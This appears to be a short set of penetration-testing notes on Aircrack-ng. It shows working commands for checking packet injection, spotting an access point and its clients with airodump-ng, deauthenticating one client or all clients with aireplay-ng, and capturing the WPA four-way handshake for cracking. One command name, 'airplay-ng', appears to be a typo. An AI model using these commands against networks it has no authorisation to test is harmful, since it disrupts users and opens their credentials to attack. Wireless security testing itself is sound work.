Wi-Fi Aircrack-ng

• Disconnects clients from the AP
• Need the interface to be in monitor mode
• Run the following and see if the message "Injection is working!" is returned:

airplay-ng --test <interface>

• To deauthenticate run airodump-ng to identify AP and clients and then run the command:

airodump-ng <interface>
aireplay-ng -0 5 -a <MAC address of AP> -c <MAC address of target client> <interface>

• If you don't use the -c flag then all clients will be deauthenticated

• If continuing to run airodump at the same time you will capture the four-way handshake when the client disconnects and reconnects.

  • The client disconnecting and reconnecting can be seen in the increase in Lost packets and Frames count.

• For WEP to only capture the IVs use the --ivs option